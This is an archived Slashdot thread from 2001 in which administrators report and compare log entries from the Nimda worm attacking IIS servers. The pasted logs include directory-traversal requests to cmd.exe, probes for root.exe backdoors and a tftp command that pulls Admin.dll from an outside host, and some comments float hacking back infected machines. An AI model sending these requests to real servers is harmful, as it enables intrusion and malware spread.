Slashdot Mirror


New (More) Annoying Microsoft Worm Hits Net

A new worm seems to be running rampant Unlike Code Red, it attempts to hit boxes with many different exploits (including what looks like an attempt to exploit boxes still rooted by Code Red). It looks like each IP tries 16 attempts on its neighbors. There is also a new mail worm mailing WAV files or something with bits of what appears to be the registry... it may or may not be related. Got any words on this? Shut down those windows boxes and stop opening attachments. And make that 21. Got another one while writing this story. All my hits are coming from 208.n.n.n (where I am) I'm sure it'll keep moving to nearby boxes. Update: 09/18 16:40 GMT by J : It now has a name: "Nimda." More info here, here, and here.

Here are examples of the requests it's sending:

GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir
GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../ ..%c1%1c../winnt/system32/cmd.exe?/c+dir
GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir

While writing this story I was hit a total of 4 times, 16 GET attempts per attack. In only 4 minutes. Also of interest, My desktop has now been hit about 500 times today, all from 208.x.x.x IPs. This might be really bad. I still haven't read anything about this anywhere else, so you heard it here first ;)

Update Web servers compromised by this worm apparently attach a "readme.eml" to all web pages served... and due to a bug in IE5, it will automatically execute the file! Yay Internet Explorer!

297 of 1,163 comments (clear)

  1. Is this just the old Unicode exploit? by MeowMeow+Jones · · Score: 4, Interesting

    Or is it something new?

    Looks like an exploit that's been around for a while (way before CR)

    --

    Trolls throughout history:
    Jonathan Swift

    1. Re:Is this just the old Unicode exploit? by anacron · · Score: 3, Interesting

      It's more terrorist activity. Check this out:

      http://www.nipc.gov/warnings/advisories/2001/01- 02 1.htm

    2. Re:Is this just the old Unicode exploit? by Dedalous · · Score: 2, Informative

      It's something new attacking something old. It looks to me like its trying a few of the old IIS vulnerabilities: directory transversal, and code red II/sadmind backdoors. Some people are saying its affecting fully patched machines, but I don't think that's true. My IIS 5 machines are getting hammered, but not one has been infected (although, if the backdoors were still around, you could still use the root.exe.exploit on a fully patched machine, I think).

      MS really need to try to get a better tool out there for detecting and installing patches. Lots of people just don't know the right way to install multiple patches. My suggestion:

      1. Run hfnetchk to see what you're missing.
      2. Expand each hotfix to a directory with -x option.
      3. Install each hotfix (in order) with hotfix.exe -q -m -n -z
      4. Run qtrain.exe.
      5. Reboot.
      6. Run qfecheck to make sure they're all valid.
      7. Watch the compromise attempts bounce off you're fully patched server.
      8. Repeat next week when someone finds the next gaping security hole in IIS.

    3. Re:Is this just the old Unicode exploit? by ncc74656 · · Score: 2
      I checked my logs for requests that include "cmd.exe" in the URL. Before today, I had 30 hits going back to the beginning of the year, and some of those were from a Nessus scan I initiated. As of this writing, I've had another 1850 hits in a little over three hours (first hit @ 0634 PDT; it's currently 0942 PDT). The first few were from out-of-country, but the vast majority are other hosts in lvcm.com.

      Given the sudden uptick in activity, I'd say this qualifies as a new attack. I should probably cross-reference the new attacks with Code Red attacks...anyone want to bet against lots of hosts in common between the two?

      --
      20 January 2017: the End of an Error.
  2. Bleah...my firewall logs all of this... by Dimensio · · Score: 4, Informative

    And it suddenly had to back up once a week after Code Red started thwacking my machine. Perhaps I should write a script to exploit the root-hack and shut down the affected machines so that the local cable circuit won't be clogged with that crap. I can't imagine how bad this will get.

    It's not like @Home (in my area) is doing *anything* to stop this. I really think that they should be policing for such disruptive activities and informing their customers when unsecured machines on their network are comprimised.

    1. Re:Bleah...my firewall logs all of this... by Anonymous Coward · · Score: 2, Interesting

      Be glad they are sitting on their hands. In my area, their way of dealing with Code Red was to disable ALL port 80 requests -- which is really a dumb way to handle it.

    2. Re:Bleah...my firewall logs all of this... by Tim+Doran · · Score: 4, Funny

      Jeez - I'm ssh'd into my home linux box. Thought I'd check out a few of the infected machines... by pasting the ip's into IE5.5 on my laptop.

      Duh! Flipping back and forth between the sites, Slashdot, ssh, answering the phone and guzzling coffee, I didn't notice that IE was crashing, Norton antivirus was triggering... shit.

      I'm an idiot. Okay - have I infected my machine? I'm afraid I've been automatically triggering 'readme.eml'. I'm running NT4.0 sp6.

    3. Re:Bleah...my firewall logs all of this... by Dimensio · · Score: 2, Interesting

      Unfortunately for me, IE6 decided to automatically open readme.eml.

      There was probably a setting to disable such, but IE didn't install with that set to default, so most people are going to get hit.

    4. Re:Bleah...my firewall logs all of this... by Syberghost · · Score: 2

      Actually, @Home has a plan to stop this for their customers; they're going to go out of business, cutting them all off the net. :-)

      Seriously, most large providers are completely ignoring this problem. UUNet blew off my auto-notifier (I'm using the DasBistro one) and then sent me a customer service satisfaction survey. Needless to say, I rated them "0" in every category...

    5. Re:Bleah...my firewall logs all of this... by ncc74656 · · Score: 2
      What about something less intrusive? Pop up a message box with a notice that someone broke into the computer, perhaps with a message beep every minute?
      Something like this? I've been doing that with Code Red for the past few weeks. Time to fix it to deal with this new attack (and fix my website so it doesn't bother with listing all Code Red attacks, as it has to be somewhere close to 10k hits now :-P ).
      --
      20 January 2017: the End of an Error.
    6. Re:Bleah...my firewall logs all of this... by klpauba · · Score: 2, Funny

      Might we be able to convince all windows users to turn their firewalls around to protect the internet from their machines?

    7. Re:Bleah...my firewall logs all of this... by Telek · · Score: 2

      when unsecured machines on their network are comprimised

      And if they were policing, people would cry foul.

      And BTW -- you are NOT ALLOWED to run ANY servers on your machine under the @home network, at least according to my contract. So why would they police anyways?

      --

      If God gave us curiosity
  3. 408 worm too? by libertynews · · Score: 5, Informative

    I'm seeing massive numbers of timed out requests on my sytems this morning. It started at exactly 9:06 eastern time.

    I checked one of the IPs and it said 'Fuck USA Government, Fuck PoisonBOx' and opened a second window with what looked like a MIME buffer overflow attempt. I run Opera on Linux so it didn't effect me. It looks like we may be getting hit in a shotgun approach. My systems are in the 207.227 range and 208.

    Brian

    --
    Remember Lexington Green!
    1. Re:408 worm too? by Tim+Doran · · Score: 2

      Wow - I opened one of the IP's that's hit my box and saw the same thing - Fuck USA Government, Fuck PoisonBox' I'm in the 24.156 range (Rogers@Home in Ontario...)

    2. Re:408 worm too? by Tim+Macinta · · Score: 2
      I checked one of the IPs and it said 'Fuck USA Government, Fuck PoisonBOx' and opened a second window with what looked like a MIME buffer overflow attempt.

      I tried looking at (port 80 of) 4 or 5 of the infected machines that showed up in my logs and none of them had this message. I only got through to two of the web servers, but they didn't appear to be defaced at all. Perhaps there are different strains of this worm and a more recent mutation carries the virus that the other poster in this thread mentioned.

    3. Re:408 worm too? by Tim+Macinta · · Score: 2
      actually, they are slightly defaced, if you look at the html source of the pages that have been infected, the virus has added a window.open() to the end of the page.

      Ah, that explains it. The first thing I did when I downloaded Mozilla 0.9.4 a few days ago was to activate the new pop-up blocking feature (a very nice feature, by the way). I was looking for the defacement on the page itself and didn't happen to think that it might be in a pop-up that Mozilla was kind enough to block for me.

  4. Wrong name by platinum · · Score: 4, Informative

    The 208.x.x.x is similiar to Code Red in that it attempts to scan local subnets (I bet you are have a 208.x.x.x IP); therefore, naming it 208 is only good for those in your Class A. We have received attempts from over 100 hosts infected with the Code Red 2 worm, starting from the local class C, then class B, and now class A and others. It appears to be attempting to find rooter servers, for what purpose I can only imagine.

    1. Re:Wrong name by garcia · · Score: 5, Funny

      it originally started in just the 63.174 for me. Now it is hitting me from all over the place. It is really nasty b/c of the number of requests that each machine sends out.

      I was surfing some porn sites this morning and they seemed horribly affected (none of the images would load and they were slow as hell).

      ugh. Just when you thought it was safe to disable "assholes_log".

    2. Re:Wrong name by platinum · · Score: 5, Informative


      If you try to access a vulnerable server it attempts to send you a 'readme.eml' file with a .wav content type. This file (using strings) appears to contain numerous registry entries plus all the strings used to find and infect other servers.

    3. Re:Wrong name by zpengo · · Score: 2
      It appears to be attempting to find rooter servers, for what purpose I can only imagine.

      Propagation of the species?

      It's interesting how worms, viruses, etc., take after biological tendencies, and almost have to be treated the same way to get rid of them: Quarantine, vaccination, precautionary measures, etc.

      It's a shame there are no drugs for this one yet.

      --


      Got Rhinos?
    4. Re:Wrong name by mosch · · Score: 2

      Why is it that even the dumbest farmer knows that having all your fields grow the same exact plant is a bad idea, but most corporations don't see why having everybody use the exact same software is a bad idea?

    5. Re:Wrong name by mpe · · Score: 2

      Why can't these virus writers just finally once and for all write a virus that will completely *blow away* the box? Or at least remove the TCP/IP stack.. that would keep an
      MCSE busy for a couple of days and their server off the network, too.


      Depends how well trained they are at doing a reformat and reinstall...

  5. here's more output by TheGratefulNet · · Score: 4, Informative

    www.iitelecom.qc.ca - - [18/Sep/2001:08:10:05 -0700] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 281

    www.iitelecom.qc.ca - - [18/Sep/2001:08:10:05 -0700] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291

    www.iitelecom.qc.ca - - [18/Sep/2001:08:10:06 -0700] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305

    www.iitelecom.qc.ca - - [18/Sep/2001:08:10:06 -0700] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 322

    www.iitelecom.qc.ca - - [18/Sep/2001:08:10:07 -0700] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 322

    www.iitelecom.qc.ca - - [18/Sep/2001:08:10:07 -0700] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c 1%1c../..%c1%1c../winnt/system32/cmd.

    --

    --
    "It is now safe to switch off your computer."
    1. Re:here's more output by cphipps · · Score: 4, Informative
      ...including what looks like an attempt to exploit boxes still rooted by Code Red

      Assuming that refers to this:

      "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"

      then that's an exploit for Code Red II infected machines, not the original Code Red.

    2. Re:here's more output by TheGratefulNet · · Score: 2

      bellview-65.porterville.k12.ca.us - - [18/Sep/2001:08:42:08 -0700] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 283 "-" "-"
      bellview-65.porterville.k12.ca.us - - [18/Sep/2001:08:42:08 -0700] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 281
      bellview-65.porterville.k12.ca.us - - [18/Sep/2001:08:42:08 -0700] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 281 "-" "-"
      bellview-65.porterville.k12.ca.us - - [18/Sep/2001:08:42:09 -0700] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291
      bellview-65.porterville.k12.ca.us - - [18/Sep/2001:08:42:09 -0700] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291 "-" "-"
      bellview-65.porterville.k12.ca.us - - [18/Sep/2001:08:42:09 -0700] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291
      bellview-65.porterville.k12.ca.us - - [18/Sep/2001:08:42:09 -0700] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291 "-" "-"
      bellview-65.porterville.k12.ca.us - - [18/Sep/2001:08:42:10 -0700] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305
      bellview-65.porterville.k12.ca.us - - [18/Sep/2001:08:42:10 -0700] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 "-" "-"


      notice the domainname: k12. (for those who don't recognize this, k-12 refers to kindergarten thru 12th grade. ie, kids.

      sure gives new meaning to script kiddies don't it?

      --

      --
      "It is now safe to switch off your computer."
    3. Re:here's more output by TheGratefulNet · · Score: 2
      given all the polution that windows boxen are causing the rest of us, I would go so far as to propose that isp's charge MORE for a wintel box connection than any other type. the extra charge could help defray the inevitable cleanup cost since M$ software seems architected to cause network problems and assaults.

      I don't think I should be on the same logical network as those lusers. if winblows users were on their own vlan or separate segment (from the isp's perspective), then the isp could, at times of network attack, remove them and let the rest of us go about our business.

      being disconnected until your system is fixed would sure send a loud message to the owners of those bad boxes. it would help the owners realize that they are messing up the net and also it would help contain the problem so the rest of us don't have to pay for their poor choice of base o/s and webserver. of course as soon as the user can demonstrate that the problem has been fixed, their net.connection would be restored (simple as setting adminStatus to ON for their switch or repeater or dslam port).

      clearly the system of "police your own box" isn't working. code-red boxes have been left unpatched for weeks now - and there doesn't seem to be any sign that the lusers will catch the cluetrain and either reinstall or patch. and with yesterday's new worm, its becoming more and more clear that the whole internet is in danger of being [more] reduced to noise due to all this background 'traffic'.

      fwiw, here's an ascii graph of all the attack traffic (greping for 'scripts' in my weblog) since this new worm began:

      date hour hits/hr graph


      2001/09/18 7 98 XXXXXXXXXXXXXXX
      2001/09/18 8 282 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
      2001/09/18 9 256 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
      2001/09/18 10 240 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
      2001/09/18 11 212 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
      2001/09/18 12 236 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
      2001/09/18 13 114 XXXXXXXXXXXXXXXXXX
      2001/09/18 14 216 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
      2001/09/18 15 188 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
      2001/09/18 16 170 XXXXXXXXXXXXXXXXXXXXXXXXXXX
      2001/09/18 17 152 XXXXXXXXXXXXXXXXXXXXXXXX
      2001/09/18 18 138 XXXXXXXXXXXXXXXXXXXXXX
      2001/09/18 19 128 XXXXXXXXXXXXXXXXXXXX
      2001/09/18 20 236 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
      2001/09/18 21 234 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
      2001/09/18 22 224 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
      2001/09/18 23 132 XXXXXXXXXXXXXXXXXXXXX
      2001/09/19 0 152 XXXXXXXXXXXXXXXXXXXXXXXX
      2001/09/19 1 128 XXXXXXXXXXXXXXXXXXXX
      2001/09/19 2 120 XXXXXXXXXXXXXXXXXXX
      2001/09/19 3 252 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
      2001/09/19 4 104 XXXXXXXXXXXXXXXX
      2001/09/19 5 160 XXXXXXXXXXXXXXXXXXXXXXXXX
      2001/09/19 6 48 XXXXXXX
      2001/09/19 7 160 XXXXXXXXXXXXXXXXXXXXXXXXX



      --

      --
      "It is now safe to switch off your computer."
  6. yup! by macpeep · · Score: 2

    Yeah.. While I'm on Win2K and running a web server, it would never occur to me to run IIS. My logs are totally filled up with traces of this new worm. The logs also include lines such as this (IP censored).

    GET /scripts/root.exe?/c+tftp%20-i%20212.163.x.x%20GET %20Admin.dll%20Admin.dll 212.163.x.x

    Interesting..

    On the upside, I haven't had a single hit by Code Red in the past hour or so! Let's hope this one is nasty enough to get the people to finally shut down / fix their boxes!

    1. Re:yup! by macpeep · · Score: 2

      I'm running a self made (experimental) web server..

    2. Re:yup! by b0r1s · · Score: 2

      uh ... none of my logs have any mention of that get request that involves the c+tftp...

      [18/Sep/2001:08:13:12 -0700] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
      [18/Sep/2001:08:13:12 -0700] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
      [18/Sep/2001:08:13:12 -0700] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
      [18/Sep/2001:08:13:13 -0700] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
      [18/Sep/2001:08:13:13 -0700] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
      [18/Sep/2001:08:13:13 -0700] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
      [18/Sep/2001:08:13:13 -0700] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
      [18/Sep/2001:08:13:13 -0700] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c 1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
      [18/Sep/2001:08:13:13 -0700] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
      [18/Sep/2001:08:13:13 -0700] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
      [18/Sep/2001:08:13:13 -0700] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
      [18/Sep/2001:08:13:13 -0700] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
      [18/Sep/2001:08:13:13 -0700] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 333 "-" "-"
      [18/Sep/2001:08:13:13 -0700] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 333 "-" "-"
      [18/Sep/2001:08:13:13 -0700] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+d ir HTTP/1.0" 404 276 "-" "-"
      [18/Sep/2001:08:13:13 -0700] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"

      So? are you bullshitting? is this a difference in logging? or are there two strings going around? I'm on the west coast, 134.x.x.x, just for general knowledge.

      --
      Mooniacs for iOS and Android
    3. Re:yup! by b0r1s · · Score: 2

      I run IIS on win2k (on this box, I also have Apache on Freebsd under the desk), and my server's never had ANY of these problems, because it isnt hard to patch them correctly....

      Dont randomly say that IIS isnt secure, it's only as secure as the operator makes it. If you follow Microsoft's instructions, the default.ida and other indexing holes are removed as soon as installation is complete. The problem is that most of the people getting hit are probably running illegal versions because "its better than 98", dont know what they're doing, dont update, and dont care...

      --
      Mooniacs for iOS and Android
    4. Re:yup! by macpeep · · Score: 2

      Nope.. I'm not bullshitting. I doubt it's a difference in logging either, cause I'm getting pretty much the same stuff you're getting too, but every now and then, the FTP rows. I even tried to FTP to that IP and I got in with an anonymous login! I'm Finland, for your reference..

      Maybe it's a different strain of the same thing? It started today, and I haven't gotten ANY code red since this started.

    5. Re:yup! by Chris+Hiner · · Score: 2

      I decided to create a /c/winnt/system32/cmd.exe file, and once I did, I started to see the tftp GET Admin.dll part of it. I suspect it tries the others first, and if it finds one that returns OK, then it tries the tftp part.

    6. Re:yup! by macpeep · · Score: 2

      Well, it's not as common it seems. Has anyone else seen it?

    7. Re:yup! by macpeep · · Score: 2

      Hmmmm... I don't have /c/winnt/system32/cmd.exe and I still got the tftp requests a few times. My server is immune to these attacks.. I just think it comes a bit delayed or something.

    8. Re:yup! by dead_penguin · · Score: 2

      Ipchains/iptables can do all kinds of things based on where the packet is from, and where it's going, but it doesn't show you any information on what exactly it contains. Without running a webserver, you *can* use ipchains to log connection attempts to port 80. If you've never run a webserver, you can be pretty sure that almost all connections made will be from one of the various worms (Code Red variants and this new one), but there's no way of telling for sure.

      --

      It's only software!
    9. Re:yup! by elefantstn · · Score: 2
      Dont randomly say that IIS isnt secure, it's only as secure as the operator makes it. If you follow Microsoft's instructions, the default.ida and other indexing holes are removed as soon as installation is complete.

      IIS IS NOT SECURE.


      That wasn't random, though, that was my frustration at having to deal with it infecting people running IE at work who happened to hit an infected IIS server. Your server is patched. Great. Here's your medal. Meanwhile, I'm cleaning up the Microsoft mess around here.

      --
      If it ain't broke, you need more software.
    10. Re:yup! by weave · · Score: 4, Informative
      We got nailed. Apparently if you apply hotfixes, patches, SPs in the wrong order, it undoes previous fixes...

      Wrong way:
      Service Pack 6A
      IIS cumulative rollup patch
      Post SP6A security rollup patch

      Right way:
      Service Pack 6a
      Post-SP6a Security Roll-up
      IIS Cumulative Patch

      We thought we were covered. Nope. :-(

      (reference, focus-ms mailing list)

  7. What's the problem? by niekze · · Score: 5, Funny

    Why won't someone port these to linux? Microsoft Operating Systems seem to have a monopoly in this field. For now, if you read this in a *nix, just portscan your netmask and a few others and try a few old wu-ftp exploits.

    "You have new mail, you open it. Your server begins port scanning every box on the internet. Do the server's mind? Of course not, they have nothing better to do." - New Microsoft Ad?

    --


    Chaos, Mayhem, and Destruction: Not
    1. Re:What's the problem? by Bryan+Andersen · · Score: 2
      Why won't someone port these to linux?

      Maby it because the last one ported to Linux kindof fizzled. I didn't even get one copy sent to me. I feel so left out. :(

    2. Re:What's the problem? by nick_davison · · Score: 2

      Why won't someone port these to linux?

      Duh?! Haven't you been listening to that nice Mr Gates... Open source projects ARE viral. So, obviously, there's no need to port them. The situation's completely different with Win* which isn't viral and so has to be reverse engineered with Outlook/IIS to be so.

      If there are any plans to start up a nice OSS virus project, could I suggest either gnuK (pronounced grrnuke) or kO (pronounced K-Oh). It'd make life so much easier than trying to remember ridiculous names like Nimda (we're watching the Lion King now?!)

  8. Non-windows Servers by under_score · · Score: 2

    This kinda stuff isn't nice for unix servers either. I have both FreeBSD with Apache and Linux with Tomcat doing stuff and every time a worm like this comes along, my stuff drags to a halt and occaisionally crashes (if my app server is set up in a fragile way). At least I won't be perpetuating this one though.

  9. yeah it sucks by Dr.+Awktagon · · Score: 2

    I noticed that this morning on my various IDS's and was going to post on OT message in another story to see if it was affecting many people.

    I get them from inside the local net.

    I can't believe this stupid Code Red crap is still going on. I've gotten used to the constant hits. And now am I going to have to get used to this junk?? Argh! I'm just firewalling them off as they hit.

    1. Re:yeah it sucks by dead_penguin · · Score: 2

      Argh! I'm just firewalling them off as they hit.

      Don't bother. The likelyhood that you'll see a second hit from an infected box that's already hit you is practically zero. If you *manually* add a rule to your firewall for every host, you'll be so busy you'll go insane within the hour. If you've got a script doing it, you'll have so many rules that the performance of your firewall will take a hit, and your table of rules will become so cluttered that when you do a cleanout you'll probably have to start from scratch again.

      --

      It's only software!
    2. Re:yeah it sucks by sbeitzel · · Score: 2

      The likelyhood that you'll see a second hit from an infected box that's already hit you is practically zero.

      Bzzzt. I've got a page which logs the attacks on my server -- note that the same twerps keep coming back. I'd certainly appreciate a hackback!

      --
      Oh, go on, check out my job.
  10. It looks like Code Blue from here by flyhmstr · · Score: 3, Informative

    Security focus has some information on it, we're seeing shedloads of hits at the moment :(

    --
    -- The Flying Hamster
  11. Yep - I'm being hit too. by Tim+Doran · · Score: 2

    1300 hits so far. Each infected machine seems to be making a LOT of attempts.

    Here we go again...

  12. Outlook Express 6.0 can prevent spread by savaget · · Score: 5, Informative
    With the new Outlook Express 6.0, you can now prevent the user from opening any attchments.


    Here is how it is done:


    Tools>Options>Security>check "Do not allow attchments to be saved or opened that could potentially be a virus"

    1. Re:Outlook Express 6.0 can prevent spread by Dog+and+Pony · · Score: 4, Interesting

      Yeah. If you turn that on, it will warn you that .txt files or .gif files are potentially viral, while letting through .doc and other formats that are "known" (lmao) to be safe - or rather, MS formats.

      Actually, it is such a stupid check, it almost makes things worse instead.

    2. Re:Outlook Express 6.0 can prevent spread by DCowern · · Score: 2, Funny

      Wow... brilliant... I can just imagine Microsoft's response to the IIS vulnerabilities.

      From [future edition of] MSDN:

      "To secure IIS, do the following:

      Go to Tools > Options > Security and check the box labeled 'Do not allow connections to this machine'."

    3. Re:Outlook Express 6.0 can prevent spread by jmorse · · Score: 2

      Or, alternatively, Start >> Settings >> Control Panel >> Add/Remove Programs, choose Outlook, and away you go!

      --

      "You done taken a wrong turn."
      -Bill McKinney, in Deliverance
  13. Me to... by JeffL · · Score: 2
    [checks logs]

    I am seeing these hits too. Since 18/Sep/2001:07:27:25 -0600 (it is now 09:16) I have been hit by 120 different machines. 105 of them are on my class B, 128.138, 14 more just start with 128, and only one is from a totally different address.

    Perhaps I should contact the admins at my site who are in charge of the offending machines.

  14. Worm roll-up? by dave-fu · · Score: 2, Interesting

    I see it looking for the exploit Code Red used, trying out MSADC and a directory traversal exploit.
    My money's on the Code Red worm being retrofit yet again to try and execute a few more tired old exploits. Which is to say hopefully Hotmail and Windows Update won't get rooted again.
    Haven't heard anything about it on Bugtraq yet; haven't checked Incidents (securityfocus.com isn't chugging along so speedily).
    It'll be interesting to see how many boxes this roots out in the light of increased press coverage of Code Red and MS's spate of security-minded tools out there. Or: how good do people feel about that leaky dam now that they've stuck their thumb in the hole labelled "Code Red"?

    --
    Easy does it!
    This comment has been submitted already, 276865 hours , 59 minutes ago. No need to try again.
  15. Been hit many many times already by strags · · Score: 2, Informative

    Wow - I've got about 1000 similar hits in my logs, starting from around 6.30am this morning. From a variety of different IP addresses.

    63.73.31.242 just hit me 16 times.

    Going to http://63.73.31.242 indicates:
    "National Aerospace Documentation Home Page"
    and attempts to launch a "readme.exe" executable immediately.

    Just checked another site: 63.168.150.72 - plain old IIS page, but attempts to launch the same executable.

    So, we have Code Red, with an added attempt to launch a (no doubt) malicious executable from infected pages.

  16. Too Slow by xanadu-xtroot.com · · Score: 3, Informative

    Damn. I just got an e-mail from my ISP (corporate LAN/WAN) telling us of this. Here's their text:

    ~~~~~~~~~~~~~
    Many ISPs, including [ISP], are under attack by a new worm that appears to be related to the recent CodeRed worm. This worm attacks Microsoft web servers via a known vulnerability and seeks to replicate itself by searching for other vulnerable servers.
    The traffic caused by this worm has caused severe network problems worlwide this morning (18 Sep 2001) according to many ISP-related mailing lists. More information will be sent to this announcement list as it becomes available.
    ~~~~~~~~~~~~~

    OK, so they say it's a Code-Redish bug. According to Taco's post, it's not even close (sort of).

    I'm using *NIX/Apache.
    I'm not gonna worry about this one (yet again...). Y'all with them damn Win boxes keeping the Internet flooded with this sort of junk, PLEASE either shut of your machines, or get a real OS...
    (or at least, apply the damn patch already)

    --
    I'm not a prophet or a stone-age man,
    I'm just a mortal with potential of a super man.
    1. Re:Too Slow by TwP · · Score: 3, Funny

      Y'all with them damn Win boxes keeping the Internet flooded with this sort of junk, PLEASE either shut of your machines, or get a real OS... (or at least, apply the damn patch already)

      Preaching to the converted ;) Windows lusers don't read /. Oh wait, I'm using Mozzila on Win98 to write this. disappears in a puff of logical inconsistancy

  17. Yep, we're seeing them here too. by Olinator · · Score: 5, Informative
    David Korpiewski, our Windoze martyr, is hard at work on this one (I Don't Do Windows:-), and had this to say:

    Evidence from compromised boxes elsewhere on campus seems to indicate that this bug will create a ton of *.eml files on the computer and they are all about 78k. Wehaven't received an .eml file in hand yet, to view the contents. A variety of .eml files are created, including "desktop.eml", "readme.eml", etc.

    A compromised system will attach a readme.eml file to the bottom of all web pages served. This is because there is currently a bug out for IE5 that will auto execute any given .eml file.

    1. Re:Yep, we're seeing them here too. by MadAhab · · Score: 2
      I can confirm this. The readme.eml I downloaded (funny, freebsd can't execute it) is 57344 bytes large.

      Damn, I was just going to patch up some servers on a job today, and it looks like they've already been hit.

      --
      Expanding a vast wasteland since 1996.
    2. Re:Yep, we're seeing them here too. by Hanno · · Score: 2

      What does this .eml file do and how do I get rid of it?

      (I had a readme.eml file on my computer after visiting the URL of a compromised server - bad idea. However, the file was only 6k in size.)

      --

      ------------------
      You may like my a cappella music
    3. Re:Yep, we're seeing them here too. by Overt+Coward · · Score: 2

      The referenced bug site says that the work-around is to disable active scripting. I've tested this, and it works -- MSIE now asks my whether or not I want to execute the program instead of running it automatically.

    4. Re:Yep, we're seeing them here too. by jsse · · Score: 2, Funny

      (I Don't Do Windows:-)

      but Windows do you. :)

      347 Nimda requests recorded in access.log and counting.

    5. Re:Yep, we're seeing them here too. by sheldon · · Score: 2

      Just early versions of IE 5.0. 5.01 has a patch which was included in sp2 of that release.

      Useful information is here:
      http://www.microsoft.com/technet/treeview/defaul t. asp?url=/technet/security/topics/Nimda.asp

  18. Re:The old Code Red Patches don't work? by Dimensio · · Score: 3, Insightful

    The new patches may well stop this one. No one implements the patches, which is why Code Red 2 packets are still flying all over every subnet on @Home.

    Microsoft may be partly to blame, but it's not for being irresponsible in patching these issues; it's for allowing idiots who don't know how to properly administrate and who will never do security checks to easily run MS servers -- often without realising that the server exists.

  19. Is there a patch out yet? by Svartalf · · Score: 2

    If they're using all-new exploits, it may be that there ISN'T a patch to apply. Furthermore, getting Windows users to apply patches is spotty at best- users often don't even realize that they're running a web server on their box.

    --
    I am not merely a "consumer" or a "taxpayer". I am a Citizen of the State of Texas
  20. Damn...just submitted this story... by ergo98 · · Score: 3, Informative

    Anyways here's the sequence of attempts it makes, trying to capitalize on old worms that weren't cleaned up properly, as well as known unicode exploits.



    2001-09-18 15:10:19 *.*.*.* GET /scripts/root.exe 404 701 72 0 - -

    2001-09-18 15:10:19 *.*.*.* GET /MSADC/root.exe 404 701 70 0 - -

    2001-09-18 15:10:19 *.*.*.* GET /c/winnt/system32/cmd.exe 404 701 80 0 - -

    2001-09-18 15:10:19 *.*.*.* GET /d/winnt/system32/cmd.exe 404 701 80 0 - -

    2001-09-18 15:10:19 *.*.*.* GET /scripts/..%5c../winnt/system32/cmd.exe 404 701 96 10 - -

    2001-09-18 15:10:19 *.*.*.* GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/c md.exe 404 701 117 10 - -

    2001-09-18 15:10:20 *.*.*.* GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/c md.exe 404 701 117 0 - -

    2001-09-18 15:10:20 *.*.*.* GET /msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../ winnt/system32/cmd.exe 404 701 145 0 - -

    2001-09-18 15:10:20 *.*.*.* GET /scripts/..Á../winnt/system32/cmd.exe 404 701 97 0 - -

    2001-09-18 15:10:20 *.*.*.* GET /scripts/winnt/system32/cmd.exe 404 701 97 10 - -

